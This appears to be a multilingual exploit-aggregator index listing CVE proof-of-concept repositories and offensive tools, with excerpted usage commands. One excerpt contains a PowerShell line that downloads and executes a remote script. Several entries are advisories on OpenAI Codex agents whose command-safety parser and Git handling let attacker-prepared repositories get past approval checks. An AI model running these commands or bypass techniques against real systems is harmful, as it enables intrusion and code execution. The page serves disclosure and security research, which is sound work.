CVE-2026-22002-VNC-Authentication-Bypass-via-Protocol-Version-Confusion

CVE-2026-22002 – Contournement de l'authentification VNC via confusion de version de protocole Code du programme Python root@kitploit: vncserversim.py - VNC server with version negotiation flaw import socket, struct def handleconn: Send server version "RFB 003.008\n" conn.sendb"RFB 003.008\n"...

CVE-2018-3639

CVE-2018-3639 إثبات المفهوم لثغرة Speculative Store Bypass CVE-2018-3639 لنظام لينكس التحميل root@kitploit: git clone [email protected]:mmxsrup/CVE-2018-3639.git البناء root@kitploit: cd CVE-2018-3639 make التشغيل root@kitploit: ./specter المخرجات root@kitploit: $ ./spectre idx: 0, highest:P...

CVE-2020-26061

CVE-2020-26061 ClickStudios Passwordstate - Contournement d'authentification du portail de réinitialisation de mot de passe Informations Fournisseur : ClickStudios Produit : Passwordstate Versions affectées : Avant 8.5 build 8501 Chercheur : Jason Juntunen alias @missing0x00...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 Реализация на Python для быстрой конструкции пакетов данных и одновременной отправки; имеются реализации двух классов гаджетов: org.springframework.context.support.FileSystemXmlApplicationContext и org.springframework.context.support.ClassPathXmlApplicationContext...

EUVD-2026-69396

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS automatically collected Git repository metadata without disabling the repository-local core.fsmonitor setting. If a user opens or uses an attacker-prepared repository whose preserved .git/config sets...

CVE-2018-0296

CVE-2018-0296 اختبر CVE-2018-0296 واستخرج أسماء المستخدمين من Cisco ASA. راجع https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/ لمزيد من التفاصيل التقنية. قائمة المساعدة root@kitploit: $ ./CVE-2018-0296 -h الخيارات: -h, --help عرض معلومات المساعدة...

CVE-2013-6117

CVE-2013-6117 root@kitploit: $ ./CVE-2013-6117 -h Options: -h, --help affiche les informations d'aide -f, --filename Fichier contenant la liste des adresses IP -t, --target IP cible -n, --threads Nombre de threads simultanés défaut : 100 root@kitploit: $ ./CVE-2013-6117 -f hostfile.txt...

CVE-2023-32315

CVE-2023-32315 ثغرة تجاوز المصادقة في لوحة تحكم Openfire مع إضافة RCE الإعداد root@kitploit: git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt الاستخدام root@kitploit: python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3...

CVE-2024-39929

إكسبلويت إثبات المفهوم لثغرة Exim CVE-2024-39929 يحتوي هذا المستودع على سكربت إثبات مفهوم PoC لاستغلال الثغرة الأمنية Exim CVE-2024-39929. تؤثر هذه الثغرة على إصدارات Exim الأقدم من 4.98، مما يسمح للمهاجمين بتجاوز آليات حظر امتدادات الملفات وربما تسليم مرفقات قابلة للتنفيذ إلى صناديق بريد...

CVE-2025-29927

CVE-2025-29927 - تجاوز صلاحية الوسيطة Middleware في Next.js إثبات المفهوم هذا إثبات مفهوم بأسلوب مسابقة التقاط العلم CTF للثغرة تجاوز صلاحية الوسيطة في Next.js CVE-2025-29927. الهدف هو تجاوز صلاحية الوسيطة auth middleware واسترجاع العلم من المسار /protected. ملخص الثغرة CVE : CVE-2025-29927 النوع...

CVE-2026-19591

OpenAI Codex CLI (Windows, macOS, Linux) and Codex Desktop (Windows, macOS) contain an approval-bypass flaw in their command-safety parser. The parser misinterprets PowerShell's stop-parsing token (--%), classifying certain commands as safe when they are not. An attacker who controls a repository...

CVE-2026-19591

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS misclassified certain PowerShell commands as safe because their command-safety parser interpreted PowerShell's stop-parsing token --% differently than PowerShell itself. If a user opens an attacker-prepared...

EUVD-2026-69394

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS misclassified certain PowerShell commands as safe because their command-safety parser interpreted PowerShell's stop-parsing token --% differently than PowerShell itself. If a user opens an attacker-prepared...

CVE-2026-19590

OpenAI Codex Desktop for Windows and macOS could execute attacker-controlled Git hooks because its automated Git operations trusted the repository-local core.hooksPath setting in .git/config. If a user opens a crafted repository where this setting points to an attacker-controlled directory, a mal...

loxs-optimized

loxs-optimized Projet depuis https://github.com/coffinxp/loxs CSP-Bypass-xss.txt Remarque : Cela contourne principalement la charge utile CSP 2024-11-06 Ajout de CSP-Bypass-xss.txt à xss.txt 2024-11-07 Suppression des informations parasites Seules les informations vulnérables sont affichées...

slides

diapositives Une collection de diapositives. 2025 Un conte sur le défi du MTE : rooter un Google Pixel avec le MTE du noyau activé en une seule fois Conférence : POC 2025 2024 Un bug simple mais une exploitation difficile : rooter des appareils Android en une seule fois Conférence : Cansecwest 20...

Pentest-Tools-Collection

Collection d'outils de pentest Active Directory AMSI https://amsi.fail/ Collections d'outils WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

userland-exec

Exécution en espace utilisateur L'exécution en espace utilisateur remplace l'image du processus existant dans l'espace d'adressage courant par une nouvelle. Elle imite le comportement de l'appel système execve, mais les structures de processus décrivant l'image du processus restent inchangées. En...

CVE-2025-20029

CVE-2025-20029: حقن الأوامر في واجهة سطر الأوامر TMSH في F5 BIG-IP توجد ثغرة حقن أوامر في واجهة سطر الأوامر المقيدة "tmsh" الخاصة بـ F5، والتي تسمح لمهاجم مُصادق بالاستفادة من الأوامر المتاحة لمستخدم بصلاحيات منخفضة لتجاوز القيود، وحقن أوامر عشوائية، وتحقيق تنفيذ عن بُعد كـمستخدم "root" على النظا...

MAL-004

MAL-004: تجاوز حقن الأوامر لـ CVE-2020-12641 في Roundcube Webmail تم العثور على تجاوز لـ "CVE-2020-12641: حقن الأوامر عبر "imconvertpath" في Roundcube Webmail" الذي يؤثر على الإصدارات قبل 1.4.5 و 1.3.12. تقوم دالة php "escapeshellcmd"، التي تم تنفيذها لمنع "CVE-2020-12641: حقن الأوامر عبر...